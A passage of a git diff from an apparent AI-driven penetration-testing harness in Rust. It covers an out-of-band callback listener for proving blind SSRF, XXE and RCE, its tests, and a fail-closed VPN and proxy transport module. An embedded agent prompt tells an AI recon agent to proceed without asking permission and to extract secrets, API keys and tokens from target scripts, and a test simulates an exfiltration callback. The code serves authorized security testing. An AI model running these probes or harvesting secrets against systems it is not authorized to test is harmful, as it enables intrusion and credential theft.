self.interactions().into_iter().filter(|i| i.token == t).collect() + } + + /// Wait for a callback, up to `timeout`. + /// + /// Returns what arrived, which may be nothing. Nothing is a result, not a + /// failure: no callback means no proof, and the caller must treat it that + /// way rather than retrying until something unrelated shows up. + pub async fn wait_for(&self, token: &str, timeout: Duration) -> Vec { + let deadline = std::time::Instant::now() + timeout; + loop { + if let Provider::Remote { poll_url } = &self.provider { + let _ = self.poll_remote(poll_url).await; + } + let hits = self.received(token); + if !hits.is_empty() || std::time::Instant::now() >= deadline { + return hits; + } + tokio::time::sleep(Duration::from_millis(750)).await; + } + } + + /// Pull from a remote interaction server. + async fn poll_remote(&self, poll_url: &str) -> anyhow::Result { + let body = reqwest::Client::new() + .get(poll_url) + .timeout(Duration::from_secs(10)) + .send() + .await? + .text() + .await?; + let items: Vec = serde_json::from_str(&body).unwrap_or_default(); + let mut added = 0; + let known: Vec<(String, u64, Channel)> = + self.interactions().iter().map(|i| (i.token.clone(), i.at, i.channel)).collect(); + for i in items { + if !known.contains(&(i.token.clone(), i.at, i.channel)) { + self.record(i); + added += 1; + } + } + Ok(added) + } + + /// Is the channel actually wired up? + /// + /// Checks that the domain resolves to where the listener is. An OOB + /// channel that silently does not work turns every blind class into a + /// false negative, and the run will conclude "no callback" with total + /// confidence — the worst possible failure for this feature. + pub async fn preflight(&self) -> Result { + if self.domain.is_empty() || !self.domain.contains('.') { + return Err("no OOB domain configured — blind classes cannot be proven".into()); + } + match &self.provider { + Provider::SelfHosted { http, dns } => Ok(format!( + "self-hosted OOB on {} — HTTP {} {}. Requires a wildcard A record for *.{} (and NS delegation for the DNS channel).", + self.domain, + http, + dns.map(|d| format!("· DNS {d}")).unwrap_or_else(|| "· DNS channel off".into()), + self.domain + )), + Provider::Remote { poll_url } => { + match reqwest::Client::new().get(poll_url).timeout(Duration::from_secs(8)).send().await { + Ok(r) if r.status().is_success() => Ok(format!("remote OOB server reachable ({poll_url})")), + Ok(r) => Err(format!("OOB server answered {} — callbacks would be missed", r.status())), + Err(e) => Err(format!("OOB server unreachable: {e}")), + } + } + } + } + + /// Start the self-hosted listeners. Returns immediately; they run until + /// the process ends. + pub async fn listen(&self) -> anyhow::Result<()> { + let (http, dns) = match self.provider { + Provider::SelfHosted { http, dns } => (http, dns), + Provider::Remote { .. } => return Ok(()), + }; + let me = self.clone(); + let listener = tokio::net::TcpListener::bind(http).await?; + tokio::spawn(async move { + loop { + let Ok((mut sock, peer)) = listener.accept().await else { continue }; + let me = me.clone(); + tokio::spawn(async move { + use tokio::io::{AsyncReadExt, AsyncWriteExt}; + let mut buf = vec![0u8; 16 * 1024]; + let n = match tokio::time::timeout(Duration::from_secs(5), sock.read(&mut buf)).await { + Ok(Ok(n)) if n > 0 => n, + _ => return, + }; + if let Some(i) = me.interaction_from_http(&buf[..n], &peer.to_string()) { + me.record(i); + } + // A plain 200 with a tiny body: enough for a fetch to + // succeed, small enough not to become a payload itself. + let _ = sock + .write_all(b"HTTP/1.1 200 OK\r\ncontent-type: text/plain\r\ncontent-length: 2\r\nconnection: close\r\n\r\nok") + .await; + }); + } + }); + + if let Some(dns_addr) = dns { + let me = self.clone(); + let sock = tokio::net::UdpSocket::bind(dns_addr).await?; + tokio::spawn(async move { + let mut buf = vec![0u8; 512]; + loop { + let Ok((n, peer)) = sock.recv_from(&mut buf).await else { continue }; + if let Some(i) = me.interaction_from_dns(&buf[..n], &peer.to_string()) { + me.record(i); + } + if let Some(resp) = dns_nxdomain(&buf[..n]) { + let _ = sock.send_to(&resp, peer).await; + } + } + }); + } + Ok(()) + } + + /// Parse an HTTP request into an interaction, if it carries one of our + /// tokens. Requests that do not are dropped — an internet-facing listener + /// collects scanner noise constantly, and noise in an evidence log is + /// worse than no log. + pub fn interaction_from_http(&self, bytes: &[u8], remote: &str) -> Option { + let text = String::from_utf8_lossy(bytes); + let (head, body) = text.split_once("\r\n\r\n").unwrap_or((text.as_ref(), "")); + let mut lines = head.lines(); + let request_line = lines.next()?.trim().to_string(); + let headers: Vec<(String, String)> = lines + .filter_map(|l| l.split_once(':').map(|(k, v)| (k.trim().to_lowercase(), v.trim().to_string()))) + .collect(); + let host = headers.iter().find(|(k, _)| k == "host").map(|(_, v)| v.clone()).unwrap_or_default(); + // The token can be in the Host header (a name that resolved to us) or + // in the path (a direct hit on our address). + let token = self.extract_token(&host).or_else(|| self.extract_token(&request_line))?; + Some(Interaction { + token, + channel: Channel::Http, + remote: remote.to_string(), + at: now(), + detail: request_line, + headers, + body: body.chars().take(2048).collect(), + }) + } + + /// Parse a DNS query into an interaction, if it asks for one of our names. + pub fn interaction_from_dns(&self, bytes: &[u8], remote: &str) -> Option { + let name = parse_dns_qname(bytes)?; + let token = self.extract_token(&name)?; + Some(Interaction { + token, + channel: Channel::Dns, + remote: remote.to_string(), + at: now(), + detail: name, + headers: Vec::new(), + body: String::new(), + }) + } + + /// Pull our token out of a hostname or request line. + /// + /// Matching is anchored on the sigil rather than on the domain, because + /// resolvers mangle case, some targets prepend labels, and a payload + /// echoed through a URL rewriter can arrive with the domain replaced. What + /// cannot be faked by accident is the token itself. + pub fn extract_token(&self, haystack: &str) -> Option { + let lower = haystack.to_lowercase(); + let sigil = crate::provenance::SIGIL.to_lowercase(); + let start = lower.find(&sigil)?; + let rest = &lower[start..]; + let end = rest + .find(|c: char| !(c.is_ascii_alphanumeric())) + .unwrap_or(rest.len()); + let token = &rest[..end]; + if token.len() <= sigil.len() { + return None; + } + Some(token.to_string()) + } + + /// Turn callbacks into the evidence the validators read. + pub fn evidence(&self, token: &str) -> crate::validation::Evidence { + let hits = self.received(token); + let mut ev = crate::validation::Evidence::default(); + if hits.is_empty() { + return ev; + } + ev.marker = token.to_string(); + // `callback_received` is the strong claim, so only egress sets it. A + // DNS-only hit is recorded and described, but it must not license a + // finding that says the server fetched the URL. + ev.callback_received = hits.iter().any(|i| i.proves_egress()); + let dns = hits.iter().filter(|i| i.channel == Channel::Dns).count(); + let http = hits.iter().filter(|i| i.channel == Channel::Http).count(); + ev.notes.push(format!( + "OOB token {token}: {http} HTTP callback(s), {dns} DNS query(ies); first from {} at {}", + hits[0].remote, hits[0].at + )); + ev + } +} + +fn now() -> u64 { + SystemTime::now().duration_since(UNIX_EPOCH).map(|d| d.as_secs()).unwrap_or(0) +} + +/// Read the queried name out of a DNS packet. +/// +/// Enough of the wire format to get QNAME and no more: this listener answers +/// nothing useful on purpose, so a fuller parser would be surface for no gain. +pub fn parse_dns_qname(bytes: &[u8]) -> Option { + if bytes.len() < 13 { + return None; + } + let qdcount = u16::from_be_bytes([bytes[4], bytes[5]]); + if qdcount == 0 { + return None; + } + let mut i = 12; + let mut labels: Vec = Vec::new(); + while i < bytes.len() { + let len = bytes[i] as usize; + if len == 0 { + break; + } + // Compression pointers cannot appear in a question section; a packet + // that has one here is malformed or hostile, and is dropped. + if len & 0xc0 != 0 { + return None; + } + i += 1; + if i + len > bytes.len() { + return None; + } + labels.push(String::from_utf8_lossy(&bytes[i..i + len]).to_string()); + i += len; + } + if labels.is_empty() { + return None; + } + Some(labels.join(".")) +} + +/// Minimal NXDOMAIN response, so a resolver gets an answer instead of +/// retrying. The query is what we wanted; the answer is irrelevant. +pub fn dns_nxdomain(query: &[u8]) -> Option> { + if query.len() < 12 { + return None; + } + let mut resp = query.to_vec(); + resp[2] = 0x81; // QR=1, RD copied + resp[3] = 0x83; // RA=1, RCODE=3 (NXDOMAIN) + // No answer, authority or additional records. + resp[6] = 0; + resp[7] = 0; + resp[8] = 0; + resp[9] = 0; + resp[10] = 0; + resp[11] = 0; + Some(resp) +} + +/// Group interactions by token — what the report's evidence section needs. +pub fn by_token(interactions: &[Interaction]) -> HashMap> { + let mut out: HashMap> = HashMap::new(); + for i in interactions { + out.entry(i.token.clone()).or_default().push(i.clone()); + } + out +} + +#[cfg(test)] +mod tests { + use super::*; + + fn collab() -> Collaborator { + Collaborator::self_hosted("oob.example.com", "0.0.0.0:8080".parse().unwrap(), None) + } + + fn dns_query(name: &str) -> Vec { + let mut p = vec![0x12, 0x34, 0x01, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]; + for label in name.split('.') { + p.push(label.len() as u8); + p.extend_from_slice(label.as_bytes()); + } + p.push(0); + p.extend_from_slice(&[0x00, 0x01, 0x00, 0x01]); // A, IN + p + } + + #[test] + fn a_dns_query_proves_resolution_not_egress() { + let c = collab(); + let token = c.token("ssrf"); + let q = dns_query(&c.hostname(&token)); + let i = c.interaction_from_dns(&q, "10.0.0.53:5300").expect("our name"); + assert_eq!(i.token, token); + assert!(!i.proves_egress(), "a DNS query is not proof the target connected out"); + + c.record(i); + let ev = c.evidence(&token); + assert!(!ev.callback_received, "DNS alone must not set callback_received"); + assert!(ev.notes.iter().any(|n| n.contains("1 DNS query")), "notes: {:?}", ev.notes); + } + + #[test] + fn an_http_callback_proves_egress_and_carries_the_source() { + let c = collab(); + let token = c.token("ssrf"); + let req = format!( + "GET /{token} HTTP/1.1\r\nHost: {}\r\nUser-Agent: curl/8.4\r\n\r\n", + c.hostname(&token) + ); + let i = c.interaction_from_http(req.as_bytes(), "203.0.113.9:52344").expect("our token"); + assert!(i.proves_egress()); + assert_eq!(i.remote, "203.0.113.9:52344"); + assert!(i.headers.iter().any(|(k, v)| k == "user-agent" && v.contains("curl"))); + c.record(i); + + let ev = c.evidence(&token); + assert!(ev.callback_received, "an HTTP callback is the strong claim"); + assert_eq!(ev.marker, token); + } + + #[test] + fn unrelated_traffic_is_dropped_rather_than_logged() { + let c = collab(); + // An internet-facing listener sees this constantly. + let noise = b"GET /.env HTTP/1.1\r\nHost: oob.example.com\r\n\r\n"; + assert!(c.interaction_from_http(noise, "45.9.148.1:1234").is_none()); + assert!(c.interaction_from_dns(&dns_query("www.google.com"), "8.8.8.8:53").is_none()); + // And a token that is not ours — same shape, different engine. + assert!(c.extract_token("somethingelse1234.oob.example.com").is_none()); + } + + #[test] + fn a_token_survives_the_domain_being_rewritten() { + let c = collab(); + let token = c.token("xxe"); + // A URL rewriter replaced the domain; the token is still ours. + let mangled = format!("GET / HTTP/1.1\r\nHost: {token}.proxy.internal.corp\r\n\r\n"); + let i = c.interaction_from_http(mangled.as_bytes(), "10.1.1.5:40000").expect("token match"); + assert_eq!(i.token, token); + // Uppercase from a resolver, too. + let shouty = c.hostname(&token).to_uppercase(); + assert_eq!(c.extract_token(&shouty), Some(token)); + } + + #[test] + fn exfiltrated_bodies_are_kept_but_bounded() { + let c = collab(); + let token = c.token("rce"); + let big = "A".repeat(9000); + let req = format!("POST /{token} HTTP/1.1\r\nHost: {}\r\n\r\n{big}", c.hostname(&token)); + let i = c.interaction_from_http(req.as_bytes(), "198.51.100.7:9").expect("token"); + assert!(!i.body.is_empty()); + assert!(i.body.len() <= 2048, "a callback body must not become unbounded"); + } + + #[test] + fn dns_parsing_refuses_malformed_packets() { + assert!(parse_dns_qname(&[]).is_none()); + assert!(parse_dns_qname(&[0u8; 12]).is_none()); + // A compression pointer in the question section is not legal here. + let mut p = dns_query("a.oob.example.com"); + p[12] = 0xc0; + assert!(parse_dns_qname(&p).is_none()); + // A length that runs off the end of the packet. + let mut trunc = dns_query("a.oob.example.com"); + trunc[12] = 200; + assert!(parse_dns_qname(&trunc).is_none()); + } + + #[test] + fn nxdomain_answers_the_query_it_was_given() { + let q = dns_query("x.oob.example.com"); + let r = dns_nxdomain(&q).expect("response"); + assert_eq!(&r[0..2], &q[0..2], "the transaction id has to match or the resolver ignores it"); + assert_eq!(r[3] & 0x0f, 3, "RCODE 3 = NXDOMAIN"); + assert_eq!(u16::from_be_bytes([r[6], r[7]]), 0, "no answer records"); + } + + #[test] + fn payloads_all_carry_the_token() { + let c = collab(); + let token = c.token("blind"); + for (kind, p) in c.payloads(&token) { + assert!(p.to_lowercase().contains(&token), "{kind} payload lost the token: {p}"); + } + } + + #[tokio::test] + async fn waiting_returns_empty_rather_than_inventing_a_hit() { + let c = collab(); + let token = c.token("ssrf"); + let hits = c.wait_for(&token, Duration::from_millis(120)).await; + assert!(hits.is_empty(), "no callback is a result, not something to retry past"); + } + + #[test] + fn preflight_refuses_a_channel_that_cannot_work() { + let bad = Collaborator::self_hosted("", "0.0.0.0:8080".parse().unwrap(), None); + assert!(futures::executor::block_on(bad.preflight()).is_err()); + } +} diff --git a/neurosploit-rs/crates/harness/src/pipeline.rs b/neurosploit-rs/crates/harness/src/pipeline.rs index 65477e3..f574878 100644 --- a/neurosploit-rs/crates/harness/src/pipeline.rs +++ b/neurosploit-rs/crates/harness/src/pipeline.rs @@ -22,6 +22,24 @@ pub struct RunOutput { pub artifacts: Vec, } +/// A run that stopped before it started. +/// +/// Returned when the egress or the authorization boundary refuses the target. +/// Deliberately an empty result rather than an error value: the caller reports +/// it the same way it reports any other run, and an empty findings list is the +/// honest answer to "what did you find" when nothing was ever tested. +fn aborted(cfg: &RunConfig) -> RunOutput { + RunOutput { + target: cfg.target.clone(), + findings: vec![], + agents_ran: vec![], + candidates: 0, + recon: String::new(), + workdir: cfg.workdir.clone().unwrap_or_default(), + artifacts: vec![], + } +} + const RECON_SYS: &str = "You are an elite web recon specialist on an AUTHORIZED engagement. Actively fetch the target with your tools and map the REAL attack surface in DEPTH — do not ask for permission, proceed:\n\ - Crawl pages, forms and parameters; record every input, header, cookie and redirect.\n\ - DOWNLOAD the linked JavaScript bundles (curl each script) and ANALYZE them: extract API endpoints/routes, hidden/undocumented parameters, GraphQL operations, secrets / API keys / tokens, cloud & third-party URLs, feature flags, and `sourceMappingURL` references (fetch source maps if exposed to recover original source).\n\ @@ -351,6 +369,8 @@ fn engagement_ops(cfg: &RunConfig) -> String { "DISPOSABLE EMAIL (disabled): if registration REQUIRES an email confirmation you cannot receive, stop and \ report it as a blocker (do not attempt to bypass it). " }; + let oob = oob_ops(cfg); + let sms = sms_ops(cfg); format!( "ENGAGEMENT OPS — TEST ACCOUNTS & VAULT:\n\ - CREDENTIAL VAULT: whenever you create a test account or generate any credential, APPEND one JSON line to \ @@ -364,9 +384,42 @@ fn engagement_ops(cfg: &RunConfig) -> String { or \"unauthenticated\" (proven with no session), and `account` to which user/role you used. In grey-box, be \ explicit about which findings needed a login. In black-box, record in `how`/evidence exactly what you did \ to create the user.\n\ - - {temp}\n\n" + - {temp}\n\ + {oob}{sms}\n" ) } + +/// The out-of-band channel's instructions, when one is configured. +/// +/// Blind classes are the ones agents most often assert and least often prove. +/// Handing them a domain we control turns "the parameter might be fetched +/// server-side" into a callback with a source address on it — and the +/// instruction is explicit that a DNS query alone is the weaker claim, because +/// that is the overclaim this channel otherwise invites. +fn oob_ops(cfg: &RunConfig) -> String { + let Some(domain) = cfg.oob_domain.as_deref().filter(|d| d.contains('.')) else { + return "- OUT-OF-BAND (not configured): you cannot prove blind SSRF/XXE/RCE. Report such a candidate as a LEAD with the evidence you do have — never as a confirmed finding.\n" + .to_string(); + }; + let token = crate::provenance::Provenance::process().marker("oob").to_lowercase(); + format!( + "- OUT-OF-BAND CHANNEL (enabled): a listener answers for *.{domain}. Build payload hostnames as `.{domain}` where starts with `{token_prefix}` — use a DIFFERENT token per probe so a callback is attributable to one payload (example: `{token}`). Report the token you used in the finding's `payload` field and the callback details in `evidence`. An HTTP callback proves the target connected out; a DNS query alone proves only that a resolver saw the name — say which one you observed, and never write 'the server fetched my URL' on the strength of a DNS query.\n", + token_prefix = crate::provenance::SIGIL.to_lowercase() + ) +} + +/// Inbound SMS instructions, when a number is configured. +fn sms_ops(cfg: &RunConfig) -> String { + match cfg.sms.as_deref().filter(|s| !s.trim().is_empty()) { + Some(spec) => { + let number = spec.rsplit(':').next().unwrap_or(""); + format!( + "- INBOUND SMS (enabled): {number} receives messages for OTP and phone-verification flows. For a rate-limit claim, count DELIVERED messages carrying DISTINCT codes — not HTTP 200s. An endpoint that accepts twenty requests and sends one message is not unthrottled.\n" + ) + } + None => String::new(), + } +} /// Resolve the vault directory + this run's file stem. Prefer `.neurosploit/vault` /// (persistent project store) set by the app; fall back to the run workdir. Returns /// (jsonl_append_path, json_consolidated_path). @@ -613,6 +666,70 @@ pub async fn run(cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender match crate::transport::Egress::parse(spec) { + Ok(e) => crate::transport::Transport::new(e), + Err(e) => { + let _ = tx.send(format!("notify: ✗ transport: {e}")).await; + return aborted(&cfg); + } + }, + None => crate::transport::Transport::direct(), + }; + if let Err(e) = transport.admits(&cfg.target) { + let _ = tx.send(format!("notify: ⛔ {e}")).await; + return aborted(&cfg); + } + if !matches!(transport.egress, crate::transport::Egress::Direct) { + match transport.connect().await { + Ok(label) => { + let _ = tx.send(format!("notify: 🔌 egress via {label}")).await; + match transport.verify(None).await { + Ok(ip) => { + let _ = tx.send(format!("notify: egress address {ip}")).await; + } + Err(e) => { + let _ = tx.send(format!("notify: ⛔ {e}")).await; + return aborted(&cfg); + } + } + } + Err(e) => { + let _ = tx.send(format!("notify: ⛔ transport failed to come up: {e}")).await; + return aborted(&cfg); + } + } + } + + // Out-of-band channel. Optional, but without it the blind classes can only + // ever be leads — which the prompt says explicitly rather than letting an + // agent assert a callback it had no way to receive. + if let Some(domain) = cfg.oob_domain.as_deref().filter(|d| d.contains('.')) { + let http: std::net::SocketAddr = cfg + .oob_http + .as_deref() + .unwrap_or("0.0.0.0:8080") + .parse() + .unwrap_or_else(|_| "0.0.0.0:8080".parse().unwrap()); + let dns = cfg.oob_dns.as_deref().and_then(|d| d.parse().ok()); + let collab = crate::oob::Collaborator::self_hosted(domain, http, dns); + match collab.listen().await { + Ok(()) => { + let note = collab.preflight().await.unwrap_or_else(|e| e); + let _ = tx.send(format!("notify: 📡 {note}")).await; + } + Err(e) => { + // A listener that did not bind would turn every blind class + // into a silent false negative, so say so loudly and carry on + // with the channel marked unavailable. + let _ = tx.send(format!("notify: ⚠ OOB listener did not start ({e}) — blind classes stay leads")).await; + } + } + } let _ = tx .send(format!( "Loaded {} agents ({} vuln / {} recon / {} code / {} meta) · models: {} · vote_n={} · concurrency={}{} · budget: {}", diff --git a/neurosploit-rs/crates/harness/src/transport.rs b/neurosploit-rs/crates/harness/src/transport.rs new file mode 100644 index 0000000..6d113c6 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/transport.rs @@ -0,0 +1,485 @@ +//! Getting to the target — VPNs, bastions, tunnels, proxies. +//! +//! Internal engagements do not happen from the operator's laptop. They happen +//! through something: a client VPN, an SSH bastion, a Cloudflare tunnel, a +//! SOCKS proxy handed over in a kickoff call. The harness has to route through +//! that thing, and — much more importantly — has to **refuse to run when it +//! is not routing through it**. +//! +//! That second half is the whole point of this module. Consider `10.20.0.15` +//! with the VPN down: +//! +//! ```text +//! VPN up → 10.20.0.15 is the client's domain controller +//! VPN down → 10.20.0.15 is something on the operator's own LAN +//! ``` +//! +//! Same address, same payloads, entirely different machine — quite possibly a +//! machine nobody authorized. The failure is silent: connections succeed, +//! findings appear, the report is about the wrong network. So egress is +//! **fail-closed** here: a private target with no transport configured is +//! refused before a single request goes out, and a transport that claims to be +//! up must prove it ([`Transport::verify`]) rather than be assumed. + +use serde::{Deserialize, Serialize}; +use std::time::Duration; + +/// How traffic leaves the harness. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Egress { + /// Straight out of the host's default route. + Direct, + /// SOCKS5, typically an SSH dynamic forward or a client-provided jump box. + Socks { addr: String }, + /// An HTTP CONNECT proxy — Burp, ZAP, or a corporate egress. + HttpProxy { url: String }, + /// An OpenVPN profile the harness brings up and tears down. + OpenVpn { config: String }, + /// SSH bastion. Either a dynamic forward (SOCKS) or a specific local + /// forward when the client only authorized one host. + Bastion { host: String, user: String, identity: Option, socks_port: u16, forward: Option }, + /// A Cloudflare tunnel (`cloudflared access tcp`), for a target published + /// through Zero Trust rather than routable at all. + Cloudflared { hostname: String, local_port: u16 }, +} + +impl Egress { + pub fn label(&self) -> String { + match self { + Egress::Direct => "direct".into(), + Egress::Socks { addr } => format!("socks5://{addr}"), + Egress::HttpProxy { url } => format!("http-proxy {url}"), + Egress::OpenVpn { config } => format!("openvpn {config}"), + Egress::Bastion { user, host, forward, socks_port, .. } => match forward { + Some(f) => format!("ssh {user}@{host} → {f}"), + None => format!("ssh {user}@{host} (socks :{socks_port})"), + }, + Egress::Cloudflared { hostname, local_port } => format!("cloudflared {hostname} → :{local_port}"), + } + } + + /// The proxy URL the HTTP client should use, if any. + pub fn proxy_url(&self) -> Option { + match self { + Egress::Direct | Egress::OpenVpn { .. } | Egress::Cloudflared { .. } => None, + Egress::Socks { addr } => Some(format!("socks5h://{addr}")), + Egress::HttpProxy { url } => Some(url.clone()), + Egress::Bastion { socks_port, forward, .. } => { + forward.is_none().then(|| format!("socks5h://127.0.0.1:{socks_port}")) + } + } + } + + /// Parse an operator-supplied spec. + /// + /// ```text + /// direct + /// socks5://127.0.0.1:1080 + /// http://127.0.0.1:8080 + /// openvpn:/path/client.ovpn + /// ssh://user@bastion.corp:22 (dynamic forward) + /// ssh://user@bastion.corp?forward=10.0.0.5:445 + /// cloudflared://db.internal.corp:5432 + /// ``` + pub fn parse(spec: &str) -> Result { + let s = spec.trim(); + if s.is_empty() || s.eq_ignore_ascii_case("direct") || s.eq_ignore_ascii_case("none") { + return Ok(Egress::Direct); + } + if let Some(rest) = s.strip_prefix("socks5://").or_else(|| s.strip_prefix("socks://")) { + if !rest.contains(':') { + return Err("socks needs host:port".into()); + } + return Ok(Egress::Socks { addr: rest.to_string() }); + } + if s.starts_with("http://") || s.starts_with("https://") { + return Ok(Egress::HttpProxy { url: s.to_string() }); + } + if let Some(path) = s.strip_prefix("openvpn:") { + if path.trim().is_empty() { + return Err("openvpn needs a path to a .ovpn profile".into()); + } + return Ok(Egress::OpenVpn { config: path.trim().to_string() }); + } + if let Some(rest) = s.strip_prefix("ssh://") { + let (authority, query) = rest.split_once('?').unwrap_or((rest, "")); + let (user, hostport) = authority + .split_once('@') + .ok_or_else(|| "ssh needs user@host".to_string())?; + let host = hostport.split(':').next().unwrap_or(hostport).to_string(); + if user.is_empty() || host.is_empty() { + return Err("ssh needs user@host".into()); + } + let mut forward = None; + let mut socks_port = 1080u16; + let mut identity = None; + for pair in query.split('&').filter(|p| !p.is_empty()) { + match pair.split_once('=') { + Some(("forward", v)) => forward = Some(v.to_string()), + Some(("socks", v)) => socks_port = v.parse().map_err(|_| "socks port must be a number".to_string())?, + Some(("identity", v)) | Some(("key", v)) => identity = Some(v.to_string()), + _ => return Err(format!("unknown ssh option `{pair}`")), + } + } + return Ok(Egress::Bastion { host, user: user.to_string(), identity, socks_port, forward }); + } + if let Some(rest) = s.strip_prefix("cloudflared://") { + let (hostname, port) = rest.split_once(':').ok_or_else(|| "cloudflared needs host:port".to_string())?; + let local_port: u16 = port.parse().map_err(|_| "cloudflared port must be a number".to_string())?; + return Ok(Egress::Cloudflared { hostname: hostname.to_string(), local_port }); + } + Err(format!("unrecognised transport `{spec}` — try direct, socks5://…, http://…, openvpn:…, ssh://user@host, cloudflared://host:port")) + } +} + +/// Is this address one that only means something inside a network? +/// +/// RFC1918, loopback, link-local, CGNAT, unique-local v6, and `.local`/ +/// `.internal`/`.corp` style names. These are the addresses that resolve to +/// something different depending on which network you are on, which is exactly +/// the condition that makes a missing VPN dangerous rather than merely broken. +pub fn is_internal(target: &str) -> bool { + let host = target + .rsplit("://") + .next() + .unwrap_or(target) + .split('/') + .next() + .unwrap_or("") + .rsplit('@') + .next() + .unwrap_or("") + .trim_end_matches('.') + .to_lowercase(); + // A bracketed IPv6 literal keeps its colons; only a host:port pair loses + // them. Splitting blindly turns `[fd00::1]:445` into `[fd00`, which then + // matches by accident rather than by parsing. + let host = if let Some(rest) = host.strip_prefix('[') { + rest.split(']').next().unwrap_or(rest).to_string() + } else { + host.split(':').next().unwrap_or(&host).to_string() + }; + if host.is_empty() { + return false; + } + for suffix in [".local", ".internal", ".corp", ".lan", ".home", ".intranet", ".test"] { + if host.ends_with(suffix) { + return true; + } + } + if host == "localhost" { + return true; + } + if let Ok(v4) = host.parse::() { + let o = v4.octets(); + return v4.is_private() + || v4.is_loopback() + || v4.is_link_local() + || v4.is_unspecified() + // 100.64.0.0/10 — carrier-grade NAT, common on client VPNs. + || (o[0] == 100 && (64..=127).contains(&o[1])); + } + if let Ok(v6) = host.parse::() { + let seg = v6.segments(); + return v6.is_loopback() || v6.is_unspecified() || (seg[0] & 0xfe00) == 0xfc00 || (seg[0] & 0xffc0) == 0xfe80; + } + // A bare single-label name resolves via search domains — which network you + // are on decides what it means. + !host.contains('.') +} + +/// The configured route, and whether it is actually working. +#[derive(Clone)] +pub struct Transport { + pub egress: Egress, + /// URL used to confirm traffic is really leaving the way it should. + pub verify_url: String, + child: std::sync::Arc>>, +} + +impl Transport { + pub fn new(egress: Egress) -> Transport { + Transport { + egress, + verify_url: "https://api.ipify.org?format=text".to_string(), + child: std::sync::Arc::new(std::sync::Mutex::new(None)), + } + } + + pub fn direct() -> Transport { + Transport::new(Egress::Direct) + } + + /// Fail-closed check, run before any traffic. + /// + /// An internal target with no transport is refused. This is the rule that + /// keeps a scan off the operator's own LAN when the VPN silently dropped, + /// and it is a refusal rather than a warning because a warning in a log + /// nobody is reading is not a control. + pub fn admits(&self, target: &str) -> Result<(), String> { + if self.egress == Egress::Direct && is_internal(target) { + return Err(format!( + "{target} is an internal address and no transport is configured. \ + With the VPN or bastion down this address belongs to whatever network this host is on, \ + which is not the client's. Configure --transport, or pass an external target." + )); + } + Ok(()) + } + + /// Bring the transport up, if it is something we run. + /// + /// Returns a description of what was started. `openvpn`, `ssh` and + /// `cloudflared` are expected on PATH; a missing binary is an error, never + /// a silent fall back to direct — falling back is precisely the failure + /// this module exists to prevent. + pub async fn connect(&self) -> anyhow::Result { + use std::process::{Command, Stdio}; + let spawn = |cmd: &str, args: Vec| -> anyhow::Result { + let child = Command::new(cmd) + .args(&args) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .map_err(|e| anyhow::anyhow!("cannot start {cmd}: {e} — install it or pick another transport"))?; + Ok(child.id()) + }; + let pid = match &self.egress { + Egress::Direct | Egress::Socks { .. } | Egress::HttpProxy { .. } => None, + Egress::OpenVpn { config } => { + if !std::path::Path::new(config).exists() { + anyhow::bail!("no OpenVPN profile at {config}"); + } + Some(spawn("openvpn", vec!["--config".into(), config.clone()])?) + } + Egress::Bastion { host, user, identity, socks_port, forward } => { + let mut args: Vec = vec![ + "-N".into(), + "-o".into(), + "ExitOnForwardFailure=yes".into(), + "-o".into(), + "ServerAliveInterval=15".into(), + ]; + if let Some(key) = identity { + args.push("-i".into()); + args.push(key.clone()); + } + match forward { + Some(f) => { + // Local forward: exactly one authorized host, reachable + // at 127.0.0.1 on the same port. + let port = f.rsplit(':').next().unwrap_or("0"); + args.push("-L".into()); + args.push(format!("{port}:{f}")); + } + None => { + args.push("-D".into()); + args.push(socks_port.to_string()); + } + } + args.push(format!("{user}@{host}")); + Some(spawn("ssh", args)?) + } + Egress::Cloudflared { hostname, local_port } => Some(spawn( + "cloudflared", + vec![ + "access".into(), + "tcp".into(), + "--hostname".into(), + hostname.clone(), + "--url".into(), + format!("127.0.0.1:{local_port}"), + ], + )?), + }; + if let Some(pid) = pid { + // The guard is dropped before the await: holding a std Mutex across + // one makes the whole future non-Send, and every caller spawns it. + if let Ok(mut slot) = self.child.lock() { + *slot = Some(pid); + } + // Tunnels need a moment before the first connection succeeds; + // without this the verify below fails on a transport that is fine. + tokio::time::sleep(Duration::from_secs(3)).await; + } + Ok(self.egress.label()) + } + + /// Confirm traffic is really going where it should. + /// + /// For a proxied egress this means the request succeeds *through the + /// proxy*; for a VPN it means the apparent source address changed. Both + /// answer the same question — "is the route I think I have the route I + /// actually have" — which is the question a silent VPN drop makes urgent. + pub async fn verify(&self, baseline_ip: Option<&str>) -> Result { + let mut builder = reqwest::Client::builder().timeout(Duration::from_secs(15)); + if let Some(p) = self.egress.proxy_url() { + let proxy = reqwest::Proxy::all(&p).map_err(|e| format!("bad proxy {p}: {e}"))?; + builder = builder.proxy(proxy); + } + let client = builder.build().map_err(|e| e.to_string())?; + let ip = client + .get(&self.verify_url) + .send() + .await + .map_err(|e| format!("transport {} is not carrying traffic: {e}", self.egress.label()))? + .text() + .await + .map_err(|e| e.to_string())? + .trim() + .to_string(); + if let Some(base) = baseline_ip { + if base == ip && !matches!(self.egress, Egress::Direct) { + return Err(format!( + "egress address is still {ip} with {} configured — traffic is NOT going through the transport", + self.egress.label() + )); + } + } + Ok(ip) + } + + /// Apply the proxy to an HTTP client builder. + pub fn apply(&self, builder: reqwest::ClientBuilder) -> reqwest::ClientBuilder { + match self.egress.proxy_url().and_then(|p| reqwest::Proxy::all(&p).ok()) { + Some(proxy) => builder.proxy(proxy), + None => builder, + } + } + + /// Environment variables child processes (curl, nmap wrappers, agent + /// commands) need so they use the same route. + pub fn env(&self) -> Vec<(String, String)> { + match self.egress.proxy_url() { + Some(p) if p.starts_with("socks") => vec![("ALL_PROXY".into(), p)], + Some(p) => vec![("HTTP_PROXY".into(), p.clone()), ("HTTPS_PROXY".into(), p)], + None => Vec::new(), + } + } + + /// Tear down anything we started. + pub fn disconnect(&self) { + if let Ok(mut slot) = self.child.lock() { + if let Some(pid) = slot.take() { + let _ = std::process::Command::new("kill").arg(pid.to_string()).status(); + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn specs_parse_into_the_route_they_describe() { + assert_eq!(Egress::parse("").unwrap(), Egress::Direct); + assert_eq!(Egress::parse("direct").unwrap(), Egress::Direct); + assert_eq!( + 